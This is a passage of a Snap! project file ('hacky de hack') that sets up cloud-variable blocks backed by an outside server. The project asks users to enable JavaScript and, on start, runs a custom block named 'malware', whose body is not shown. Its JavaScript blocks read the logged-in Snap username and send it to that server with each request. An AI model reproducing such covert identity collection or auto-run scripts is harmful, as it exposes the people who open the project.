<snapdata remixID="10390196"><project name="hacky de hack" app="Snap! 6, https://snap.berkeley.edu" version="1"><notes></notes><thumbnail>data:image/png;base64,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</thumbnail><stage name="Stage" width="480" height="360" costume="0" color="255,255,255,1" tempo="60" threadsafe="false" penlog="false" volume="100" pan="0" lines="round" ternary="false" hyperops="true" codify="false" inheritance="true" sublistIDs="false" scheduled="false" id="1"><pentrails>data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAeAAAAFoCAYAAACPNyggAAAYrUlEQVR4Xu3de4zmV13H8c95ZrdlaaGEBrUil0AVAoRGoJSyM8titARQjIR2Z2i5GZRIkKh/QDUS64UgiSTYULBRqaXuznZBsSKgKBd3ZlsjVJsUoU0LXsJFKwhryi6lO/Mzz+MOGYZld2a67DmcvvYfUvqbOee8vqd9d3aeebbELwIECBAgQOCUC5RTvqIFCRAgQIAAgQiwS0CAAAECBCoICHAFdEsSIECAAAEBdgcIECBAgEAFAQGugG5JAgQIECAgwO4AAQIECBCoICDAFdAtSYAAAQIEBNgdIECAAAECFQQEuAK6JQkQIECAgAC7AwQIECBAoIKAAFdAtyQBAgQIEBBgd4AAAQIECFQQEOAK6JYkQIAAAQIC7A4QIECAAIEKAgJcAd2SBAgQIEBAgN0BAgQIECBQQUCAK6BbkgABAgQICLA7QIAAAQIEKggIcAV0SxIgQIAAAQF2BwgQIECAQAUBAa6AbkkCBAgQICDA7gABAgQIEKggIMAV0C1JgAABAgQE2B0gQIAAAQIVBAS4ArolCRAgQICAALsDBAgQIECggoAAV0C3JAECBAgQEGB3gAABAgQIVBAQ4AroliRAgAABAgLsDhAgQIAAgQoCAlwB3ZIECBAgQECA3QECBAgQIFBBQIAroFuSAAECBAgIsDtAgAABAgQqCAhwBXRLEiBAgAABAXYHCBAgQIBABQEBroBuSQIECBAgIMDuAAECBAgQqCAgwBXQLUmAAAECBATYHSBAgAABAhUEBLgCuiUJECBAgIAAuwMECBAgQKCCgABXQLckAQIECBAQYHeAAAECBAhUEBDgCuiWJECAAAECAuwOECBAgACBCgICXAHdkgQIECBAQIDdAQIECBAgUEFAgCugW5IAAQIECAiwO0CAAAECBCoICHAFdEsSIECAAAEBdgcIECBAgEAFAQGugG5JAgQIECAgwO4AAQIECBCoICDAFdAtSYAAAQIEBNgdIECAAAECFQQEuAK6JQkQIECAgAC7AwQIECBAoIKAAFdAtyQBAgQIEBBgd4AAAQIECFQQEOAK6JYkQIAAAQIC7A4QIECAAIEKAgJcAd2SBAgQIEBAgN0BAgQIECBQQUCAK6BbkgABAgQICLA7QIAAAQIEKggIcAV0SxIgQIAAAQF2BwgQIECAQAUBAa6AbkkCBAgQICDA7gABAgQIEKggIMAV0C1JgAABAgQE2B0gQIAAAQIVBAS4ArolCRAgQICAALsDBAgQIECggoAAV0C3JAECBAgQEGB3gAABAgQIVBAQ4AroliRAgAABAgLsDhAgQIAAgQoCAlwB3ZIECBAgQECA3QECBAgQIFBBQIAroFuSAAECBAgIsDtAgAABAgQqCAhwBXRLEiBAgAABAXYHCBAgQIBABQEBroBuSQIECBAgIMDuAAECBAgQqCAgwBXQLUmAAAECBATYHSBAgAABAhUEBLgCuiUJECBAgIAAuwMECBAgQKCCgABXQLckAQIECBAQYHeAAAECBAhUEBDgCuiWJECAAAECAuwOECBAgACBCgICXAHdkgQIECBAQIDdAQIECBAgUEFAgCugW5IAAQIECAiwO0CAAAECBCoICHAFdEsSIECAAAEBdgcIECBAgEAFAQGugG5JAgQIECAgwO4AAQIECBCoICDAFdAtSYAAAQIEBNgdIECAAAECFQQEuAK6JQkQIECAgAC7AwQIECBAoIKAAFdAtyQBAgQIEBBgd4AAAQIECFQQEOAK6JYkQIAAAQIC7A4QIECAAIEKAgJcAd2SBAgQIEBAgN0BAgQIECBQQUCAK6BbkgABAgQICLA7QIAAAQIEKggIcAV0SxIgQIAAAQF2BwgQIECAQAUBAa6AbkkCBAgQICDA7gABAgQIEKggIMAV0C1JgAABAgQE2B0gQIAAAQIVBAS4ArolCRAgQICAALsDBAgQIECggoAAV0C3JAECBAgQEGB3gAABAgQIVBAQ4AroliRAgAABAgLsDhAgQIAAgQoCAlwB3ZIECBAgQECA3QECBAgQIFBBQIAroFuSAAECBAgIsDtAgAABAgQqCAhwBXRLEiBAgAABAXYHCBAgQIBABQEBroBuSQIECBAgIMDuAAECBAgQqCAgwBXQLUmAAAECBATYHSBAgAABAhUEBLgCuiUJECBAgIAAuwMECBAgQKCCgABXQLckAQIECBAQYHeAAAECBAhUEBDgCuiWJECAAAECAuwOECBAgACBCgICXAHdkgQIECBAQIDdAQIECBAgUEFAgCugW5IAAQIECAiwO0CAAAECBCoICHAFdEsSIECAAAEBdgcIECBAgEAFAQGugG5JAgQIECAgwO4AAQIECBCoICDAFdAtSYAAAQIEBNgdIECAAAECFQQEuAK6JQkQIECAgAC7AwQIECBAoIKAAFdAtyQBAgQIEBBgd4AAAQIECFQQEOAK6JYkQIAAAQIC7A4QIECAAIEKAgJcAd2SBAgQIEBAgN0BAgQIECBQQUCAK6BbkgABAgQICLA7QIAAAQIEKggIcAV0SxIgQIAAAQF2BwgQIECAQAUBAa6AbkkCBAgQICDA7gABAgQIEKggIMAV0C1JgAABAgQE2B0gQIAAAQIVBAS4ArolCRAgQICAALsDBAgQIECggoAAV0C3JAECBAgQEGB3gAABAgQIVBAQ4AroliRAgAABAgLsDhAgQIAAgQoCAlwB3ZIECBAgQECA3QECBKoJfHRntowXf/bHcqTaJixMoJKAAFeCtyyB+7vA7mfmUVNT+fjYYWkp5196Y/59vSbz0/l4Ss7630N54qtuzr3r/bi1z12zMw/ZtpR/TXLkG9vy6Jd+KF/b7OfycQQ2KiDAGxXzPIE1Anu35xlDyWtHJRcNydlJDmfIZ4bkTXOL2dMS2DhcpeRpx9rTMOQTc4s5/1Ttd8/2TI9K9o/XWx6y48UHsrjetU9WgN91Uc447XD+bRzgg4fy2FfdnEPr3YPnCNxXAQG+r4I+/n4tsHc6Fw/J7pLclZJ3lyFfHZKtQ/LIUcmndy3kTS0Bzc/k50ZDfnC5ZCrJq4/u7e2jIUvLJV+YW8gfnsL9lj0zuXS83osXsjvJsN61T3aAh+Qr9/Wr6fXu3XMEVgQE2F0gsEmBK8/N6d93Tj6ZIeXw3XnaK27JVzf5qU75h1391Gx98APzL+OFvxfDc7ICfHSGtw3Jvd+LDqf84ljwpAoI8Enl9MnuTwJ7Lsj3j7bms0NyYG4xF63n7H82k3O+MeQ3S8mLMuQhKbkjy3nHbVvztivWvBBpI8+uZ+3Vz5wowCt/vwx5X5ZzTaby5mRyxq8n+ZPRkbzukptyePXn3D2Tp28ZcvlQ8hNJzpz8Vnxyx+jrec4lH89/rjw7P53Xl5Lf/ZY9L+Xc2RvzmWOdY89MnlyGXF5KnpfkrGHIXaXkjCH5wtpo7n1mnlSm8hvDkOel5PQMuaUkb9m1mPljfe5vnjMZDh7Kk+7L95M3OgPPExBgd4DAJgX2PSGnLZ+dW5I8Zkgum1vIe473qa6byTlbkwMZcnpKrs6Qg0l2JPmZoeSquYW8duW3YTfy7Ga2v4EAj1/g9EMpuTXL+XBKZlLy7FLyhl378zsra++dznkpk+/h/neGvLskh4bkASV5XBnyS5ccyH+sPHv9TLZnyI+P/3q55DkluTDfIcCT7xOP8sEM+dpQct34f0fJI4aSuSH53OoA753JU5J8eBjy+STXleTeUvKCYZgYv2Z2MW9fa/VNhyEHT+X3vzczMx/Tn4AA9zdTJzqFAnt25MdGy3lvkgel5MMl+YNPT+WGtV/Njre0dzp/lOTiIyUXXraQT62K11Up+fks5Udnb8wnN/rsZo677gAnP5whV9+2Ja8Zn+ldT84Zp52VTw3Jl29fyNOuSJbH61+/PW8cRvm1UfLES1ad7UR72zudt6TkV44V4A+cm9MP/kBuLiUPPG0pz3jhjblr1VfR3/Iq6H3J1NJ0PlZKHn7PPTn/Zf+YL4+fvWJntjx+KX+d5LylIT9y6WK+smZPZe9MPjEMWRbgE03L3z/ZAgJ8skV9vvudwPyOPCLLeUMpeUmSByST325942gh77gkWRqD/OkFefDWrbljKPno7EJmVyPNT2dnKfno+EVRswt5x0ae3Sz2BgJ8911fzIWvvTP3rIrfh1Ly6DVfff5ikivHsR4dzusvuXny1f0Jfx0vwOPf0p4a8g/DKK+b25/fW2P2LQHec2EeP9qSW4fl/Nbcgfz26mf3TOfVo5KrSsmzdu3//1ddf9vnSiLAJxyXB06ygACfZFCf7v4rcMP2POhwyc9OvqJLHjkM2XP7Yl4y/ipx93QeM5XcmTL5HuranzUdvxnFQ4Yhl88t5s0beXaz2usO8JA7Zxcn33v95q+90/nAUHLu6gDv25kzh6XsHjL5Ld97RyXvX0rev+VIdq/9XvGaz/UdvwLeM5PLRpn8tvNPzS7mr44X4N3b87ypUd6f5O6j36de/fj4P4rOHJKfnFuYPHOsAH9pbjHP3aynjyOwGQEB3oyajyFwHIF9T8iZyw/N+5I8a1jK9NxNuXHvM/PYTOXOIblpNORvjvnhJX+3ayEHNvLsZgdxsgO8so/JV/PJxSm5OMnDSvK55SN5wdxN+edj7fV4XwHPz+TlJbnmWOFc+yro+Zk8v2QS6b8ow+T78t/268goey7dnzuOEeDrx//f3GJ2bdbTxxHYjIAAb0bNxxA4gcDe6bwiJe9cXs7LX3wg1+67MA9d3pLPliEf2bWYFx7vwzfy7GYH8d0K8Mp+rkhGj5/Oy4bk6lLyt7MLef6GA7wjLyhDbhiW88q5A/njlY+/9uk5+7TTJ5E9vPJV+HXTOW9ryS0Z8sbZxfz6Zl18HIFTKSDAp1LbWr0JjP/5+bY3jxjH53HTkx97eVEpOX92If+UZPxinw+OX/W8vJyLTvCuTxt5dlOm3+0Ajzc1ecHWg3N7Sj4zu5BnbTTA127PI08f5fZhyMLUYp47/n76vqfmrOVtee/4ldhDcsdKgK/ZmQdsW8qtQ3LGvSXbX7p/8vaSJ/w1fvHW8vb8Qhnlnl0LkxfJrfvNQE74yT1A4AQCAuyKENikwPx0LijJtSn5yJB8afxuUuMfvUmZ/LzsU8qQq3YtZvzipMm/1HdP56lTmTy7rZT8+TDktlIy/mfwYeNX6X5jWy5aeS/ijTy7ke2v952wVv0c8Lq+Bzw/nT2l5LQMuaMkXx+/G1iS54wdkrxydjHXrOxzZQ/jv175MaRhyJWj5H+GkkMHD+WtR38et8zP5J0leXmSGzLkk+Mf90rJf5Xki0PyhNXfh56fyYtKJv/hM15/fjTk88vJlpI8fCg5e24hP73W6vod2TEM+fsMGY4s5bzLbsqtG/H0LIH7IiDA90XPx96vBY7+YQK/P4xjm5yTTP5kn/Grfw8MJe+6fX/evfJjOitQ79meJ947yuWj5Lkr7xtdMvmxnr88eChvWv1GEBt5dr2DWO97QW8iwK+fhLLkUUm2HX0/7I+VUd62a38+sHp/x9tDki+t/kMRjv7Y01uTyVtWLmXI7qXkV0clVya5YO0bcezenmdPlfzy+Cvko28GMn5R1ieS7Bu/wnyt076ZPGx5yMI42ofvzs7vpXczW+/MPdeugAC3Oxs7I0CAAIGOBQS44+E6GgECBAi0KyDA7c7GzggQIECgYwEB7ni4jkaAAAEC7QoIcLuzsTMCBAgQ6FhAgDserqMRIECAQLsCAtzubOyMAAECBDoWEOCOh+toBAgQINCugAC3Oxs7I0CAAIGOBQS44+E6GgECBAi0KyDA7c7GzggQIECgYwEB7ni4jkaAAAEC7QoIcLuzsTMCBAgQ6FhAgDserqMRIECAQLsCAtzubOyMAAECBDoWEOCOh+toBAgQINCugAC3Oxs7I0CAAIGOBQS44+E6GgECBAi0KyDA7c7GzggQIECgYwEB7ni4jkaAAAEC7QoIcLuzsTMCBAgQ6FhAgDserqMRIECAQLsCAtzubOyMAAECBDoWEOCOh+toBAgQINCugAC3Oxs7I0CAAIGOBQS44+E6GgECBAi0KyDA7c7GzggQIECgYwEB7ni4jkaAAAEC7QoIcLuzsTMCBAgQ6FhAgDserqMRIECAQLsCAtzubOyMAAECBDoWEOCOh+toBAgQINCugAC3Oxs7I0CAAIGOBQS44+E6GgECBAi0KyDA7c7GzggQIECgYwEB7ni4jkaAAAEC7QoIcLuzsTMCBAgQ6FhAgDserqMRIECAQLsCAtzubOyMAAECBDoWEOCOh+toBAgQINCugAC3Oxs7I0CAAIGOBQS44+E6GgECBAi0KyDA7c7GzggQIECgYwEB7ni4jkaAAAEC7QoIcLuzsTMCBAgQ6FhAgDserqMRIECAQLsCAtzubOyMAAECBDoWEOCOh+toBAgQINCugAC3Oxs7I0CAAIGOBQS44+E6GgECBAi0KyDA7c7GzggQIECgYwEB7ni4jkaAAAEC7QoIcLuzsTMCBAgQ6FhAgDserqMRIECAQLsCAtzubOyMAAECBDoWEOCOh+toBAgQINCugAC3Oxs7I0CAAIGOBQS44+E6GgECBAi0KyDA7c7GzggQIECgYwEB7ni4jkaAAAEC7QoIcLuzsTMCBAgQ6FhAgDserqMRIECAQLsCAtzubOyMAAECBDoWEOCOh+toBAgQINCugAC3Oxs7I0CAAIGOBQS44+E6GgECBAi0KyDA7c7GzggQIECgYwEB7ni4jkaAAAEC7QoIcLuzsTMCBAgQ6FhAgDserqMRIECAQLsCAtzubOyMAAECBDoWEOCOh+toBAgQINCugAC3Oxs7I0CAAIGOBQS44+E6GgECBAi0KyDA7c7GzggQIECgYwEB7ni4jkaAAAEC7QoIcLuzsTMCBAgQ6FhAgDserqMRIECAQLsCAtzubOyMAAECBDoWEOCOh+toBAgQINCugAC3Oxs7I0CAAIGOBQS44+E6GgECBAi0KyDA7c7GzggQIECgYwEB7ni4jkaAAAEC7QoIcLuzsTMCBAgQ6FhAgDserqMRIECAQLsCAtzubOyMAAECBDoWEOCOh+toBAgQINCugAC3Oxs7I0CAAIGOBQS44+E6GgECBAi0KyDA7c7GzggQIECgYwEB7ni4jkaAAAEC7QoIcLuzsTMCBAgQ6FhAgDserqMRIECAQLsCAtzubOyMAAECBDoWEOCOh+toBAgQINCugAC3Oxs7I0CAAIGOBQS44+E6GgECBAi0KyDA7c7GzggQIECgYwEB7ni4jkaAAAEC7QoIcLuzsTMCBAgQ6FhAgDserqMRIECAQLsCAtzubOyMAAECBDoWEOCOh+toBAgQINCugAC3Oxs7I0CAAIGOBQS44+E6GgECBAi0KyDA7c7GzggQIECgYwEB7ni4jkaAAAEC7QoIcLuzsTMCBAgQ6FhAgDserqMRIECAQLsCAtzubOyMAAECBDoWEOCOh+toBAgQINCugAC3Oxs7I0CAAIGOBQS44+E6GgECBAi0KyDA7c7GzggQIECgYwEB7ni4jkaAAAEC7QoIcLuzsTMCBAgQ6FhAgDserqMRIECAQLsCAtzubOyMAAECBDoWEOCOh+toBAgQINCugAC3Oxs7I0CAAIGOBQS44+E6GgECBAi0KyDA7c7GzggQIECgYwEB7ni4jkaAAAEC7QoIcLuzsTMCBAgQ6FhAgDserqMRIECAQLsCAtzubOyMAAECBDoWEOCOh+toBAgQINCugAC3Oxs7I0CAAIGOBQS44+E6GgECBAi0KyDA7c7GzggQIECgYwEB7ni4jkaAAAEC7QoIcLuzsTMCBAgQ6FhAgDserqMRIECAQLsCAtzubOyMAAECBDoWEOCOh+toBAgQINCugAC3Oxs7I0CAAIGOBQS44+E6GgECBAi0KyDA7c7GzggQIECgYwEB7ni4jkaAAAEC7QoIcLuzsTMCBAgQ6FhAgDserqMRIECAQLsCAtzubOyMAAECBDoWEOCOh+toBAgQINCugAC3Oxs7I0CAAIGOBQS44+E6GgECBAi0KyDA7c7GzggQIECgYwEB7ni4jkaAAAEC7QoIcLuzsTMCBAgQ6FhAgDserqMRIECAQLsCAtzubOyMAAECBDoWEOCOh+toBAgQINCugAC3Oxs7I0CAAIGOBQS44+E6GgECBAi0KyDA7c7GzggQIECgYwEB7ni4jkaAAAEC7QoIcLuzsTMCBAgQ6FhAgDserqMRIECAQLsCAtzubOyMAAECBDoWEOCOh+toBAgQINCugAC3Oxs7I0CAAIGOBQS44+E6GgECBAi0KyDA7c7GzggQIECgYwEB7ni4jkaAAAEC7QoIcLuzsTMCBAgQ6FhAgDserqMRIECAQLsCAtzubOyMAAECBDoWEOCOh+toBAgQINCugAC3Oxs7I0CAAIGOBf4PX/7IloUEmA8AAAAASUVORK5CYII=</pentrails><costumes><list struct="atomic" id="2"></list></costumes><sounds><list struct="atomic" id="3"></list></sounds><variables></variables><blocks></blocks><scripts></scripts><sprites><sprite name="Sprite(2)" idx="1" x="-91.46875" y="-44.00000000000003" heading="90" scale="1" volume="100" pan="0" rotation="1" draggable="true" costume="0" color="168.3,60.588,0,1" pen="tip" id="8"><costumes><list struct="atomic" id="9"></list></costumes><sounds><list struct="atomic" id="10"></list></sounds><blocks></blocks><variables></variables><scripts><script x="20" y="20"><block s="receiveGo"></block><block s="bubble"><l>Please enable JS to see good things.</l></block><custom-block s="get cloud ID"></custom-block></script></scripts></sprite><watcher var="server" style="normal" x="5" y="28" color="243,118,29" hidden="true"/><watcher scope="Stage" s="reportThreadCount" style="normal" x="4" y="3.000001999999995" color="4,148,220"/></sprites></stage><hidden></hidden><headers></headers><code></code><blocks><block-definition s="set cloud var %&apos;cloud&apos; to %&apos;value&apos;" type="command" category="sensing"><header></header><code></code><translations></translations><inputs><input type="%s"></input><input type="%s"></input></inputs><script><block s="fork"><block s="reifyScript"><script><custom-block s="ignore %s"><block s="reportURL"><block s="reportJoinWords"><list><block var="server"/><block s="reportJoinWords"><list><l>set/</l><custom-block s="cloud ID"></custom-block><l>/</l><block var="cloud"/><l>/</l><block var="value"/><l>/?user=</l><custom-block s="username"></custom-block></list></block></list></block></block></custom-block></script><list></list></block><list></list></block></script></block-definition><block-definition s="ignore %&apos;s&apos;" type="command" category="control"><header></header><code></code><translations></translations><inputs><input type="%s"></input></inputs></block-definition><block-definition s="cloud var %&apos;s&apos;" type="reporter" category="sensing"><header></header><code></code><translations></translations><inputs><input type="%s"></input></inputs><script><block s="doReport"><block s="evaluate"><block s="reportJSFunction"><list><l>a</l></list><l>return varcache[a];</l></block><list><block var="s"/></list></block></block></script></block-definition><block-definition s="get cloud ID" type="command" category="sensing"><header></header><code></code><translations></translations><inputs></inputs><script><custom-block s="malware"></custom-block><block s="doDeclareVariables"><list><l>s</l></list></block><block s="doSetVar"><l>s</l><block s="evaluate"><block s="reportJSFunction"><list></list><l>return location.hash.replace("#","")</l></block><list></list></block></block><block s="doRun"><block s="reportJSFunction"><list><l>a</l></list><l>cloudid = a||"default";</l></block><list><block var="s"/></list></block><custom-block s="ping %upvar"><l>error</l></custom-block><block s="doIf"><block var="error"/><script><custom-block s="sign up"></custom-block></script></block></script></block-definition><block-definition s="cloud ID" type="reporter" category="sensing"><header></header><code></code><translations></translations><inputs></inputs><script><block s="doReport"><block s="evaluate"><block s="reportJSFunction"><list><l></l></list><l>return cloudid;</l></block><list></list></block></block></script></block-definition><block-definition s="username" type="reporter" category="sensing"><header></header><code></code><translations></translations><inputs></inputs><script><block s="doReport"><block s="evaluate"><block s="reportJSFunction"><list></list><l>return this.parentThatIsA(IDE_Morph).cloud.username</l></block><list></list></block></block></script></block-definition><block-definition s="cache cloud vars %&apos;var&apos;" type="command" category="sensing"><header></header><code></code><translations></translations><inputs><input type="%mult%s"></input></inputs><script><block s="fork"><block s="reifyScript"><script><block s="doRun"><block s="reportJSFunction"><list></list><l>window.varcache={}</l></block><list></list></block><block s="doDeclareVariables"><list><l>a</l></list></block><block s="doForever"><script><block s="doSetVar"><l>a</l><block s="reportDate"><l><option>time in milliseconds</option></l></block></block><block s="doForEach"><l>item</l><block var="var"/><script><block s="doRun"><block s="reportJSFunction"><list><l>a</l><l>b</l></list><l>varcache[a]=b;</l></block><list><block var="item"/><block s="reportURL"><block s="reportJoinWords"><list><block var="server"/><l>get/</l><block s="reportJoinWords"><list><custom-block s="cloud ID"></custom-block><l>/</l><block var="item"/><l>/?user=</l><custom-block s="username"></custom-block></list></block></list></block></block></list></block></script></block><block s="doRun"><block s="reportJSFunction"><list><l>t</l></list><l>console.log("Cached vars!Time used:"+t+"ms")</l></block><list><block s="reportDifference"><block s="reportDate"><l><option>time in milliseconds</option></l></block><block var="a"/></block></list></block></script></block></script><list></list></block><list></list></block></script></block-definition><block-definition s="listify %&apos;s&apos;" type="reporter" category="operators"><header></header><code></code><translations></translations><inputs><input type="%s"></input></inputs><script><block s="doDeclareVariables"><list><l>a</l><l>c</l><l>e</l></list></block><block s="doSetVar"><l>a</l><block s="reportNewList"><list></list></block></block><block s="doSetVar"><l>c</l><block s="reportTextSplit"><block var="s"/><l><option>letter</option></l></block></block><block s="doSetVar"><l>e</l><l>0</l></block><block s="doUntil"><block s="reportGreaterThan"><block var="e"/><block s="reportListAttribute"><l><option>length</option></l><block var="c"/></block></block><script><block s="doChangeVar"><l>e</l><l>1</l></block><block s="doIfElse"><block s="reportAnd"><block s="reportAnd"><block s="reportEquals"><block s="reportListItem"><block var="e"/><block var="c"/></block><l>|</l></block><block s="reportNot"><block s="reportEquals"><block s="reportListItem"><block s="reportSum"><block var="e"/><l>1</l></block><block var="c"/></block><l>|</l></block></block></block><block s="reportNot"><block s="reportEquals"><block s="reportListItem"><block s="reportDifference"><block var="e"/><l>1</l></block><block var="c"/></block><l>|</l></block></block></block><script><block s="doAddToList"><l></l><block var="a"/></block><block s="doChangeVar"><l>e</l><l>1</l></block></script><script><block s="doReplaceInList"><l><option>last</option></l><block var="a"/><block s="reportJoinWords"><list><block s="reportListItem"><l><option>last</option></l><block var="a"/></block><block s="reportListItem"><block var="e"/><block var="c"/></block></list></block></block></script></block></script></block><block s="doReport"><block s="reportMap"><block s="reifyReporter"><autolambda><custom-block s="replace %s %s %s"><l></l><l>||</l><l>|</l></custom-block></autolambda><list></list></block><block var="a"/></block></block></script></block-definition><block-definition s="replace %&apos;s&apos; %&apos;x&apos; %&apos;y&apos;" type="reporter" category="operators"><header></header><code></code><translations></translations><inputs><input type="%s"></input><input type="%s"></input><input type="%s"></input></inputs><script><block s="doReport"><block s="reportCombine"><block s="reportTextSplit"><block var="s"/><block var="x"/></block><block s="reifyReporter"><autolambda><block s="reportJoinWords"><list><l></l><block var="y"/><l></l></list></block></autolambda><list></list></block></block></block></script></block-definition><block-definition s="stringify %&apos;s&apos;" type="reporter" category="operators"><header></header><code></code><translations></translations><inputs><input type="%l"></input></inputs><script><block s="doReport"><block s="reportJoinWords"><list><l>| </l><block s="reportCombine"><block s="reportMap"><block s="reifyReporter"><autolambda><custom-block s="replace %s %s %s"><l></l><l>|</l><l>||</l></custom-block></autolambda><list></list></block><block var="s"/></block><block s="reifyReporter"><autolambda><block s="reportJoinWords"><list><l></l><l>| </l><l></l></list></block></autolambda><list></list></block></block></list></block></block></script></block-definition><block-definition s="add %&apos;s&apos; to cloud list %&apos;v&apos;" type="command" category="sensing"><header></header><code></code><translations></translations><inputs><input type="%s"></input><input type="%s"></input></inputs><script><block s="doDeclareVariables"><list><l>a</l></list></block><block s="doSetVar"><l>a</l><custom-block s="listify %s"><custom-block s="cloud var %s"><block var="v"/></custom-block></custom-block></block><block s="doAddToList"><block var="s"/><block var="a"/></block><custom-block s="set cloud var %s to %s"><block var="v"/><custom-block s="stringify %l"><block var="a"/></custom-block></custom-block></script></block-definition><block-definition s="delete %&apos;s&apos; of cloud list %&apos;v&apos;" type="command" category="sensing"><header></header><code></code><translations></translations><inputs><input type="%s"></input><input type="%s"></input></inputs><script><block s="doDeclareVariables"><list><l>a</l></list></block><block s="doSetVar"><l>a</l><custom-block s="listify %s"><custom-block s="cloud var %s"><block var="v"/></custom-block></custom-block></block><block s="doDeleteFromList"><block var="s"/><block var="a"/></block><custom-block s="set cloud var %s to %s"><block var="v"/><custom-block s="stringify %l"><block var="a"/></custom-block></custom-block></script></block-definition><block-definition s="insert %&apos;s&apos; at %&apos;l&apos; of cloud list %&apos;v&apos;" type="command" category="sensing"><header></header><code></code><translations></translations><inputs><input type="%s"></input><input type="%s"></input><input type="%s"></input></inputs><script><block s="doDeclareVariables"><list><l>a</l></list></block><block s="doSetVar"><l>a</l><custom-block s="listify %s"><custom-block s="cloud var %s"><block var="v"/></custom-block></custom-block></block><block s="doInsertInList"><block var="s"/><block var="l"/><block var="a"/></block><custom-block s="set cloud var %s to %s"><block var="v"/><custom-block s="stringify %l"><block var="a"/></custom-block></custom-block></script></block-definition><block-definition s="replace item %&apos;l&apos; of cloud list %&apos;v&apos; with %&apos;s&apos;" type="command" category="sensing"><header></header><code></code><translations></translations><inputs><input type="%s"></input><input type="%s"></input><input type="%s"></input></inputs><script><block s="doDeclareVariables"><list><l>a</l></list></block><block s="doSetVar"><l>a</l><custom-block s="listify 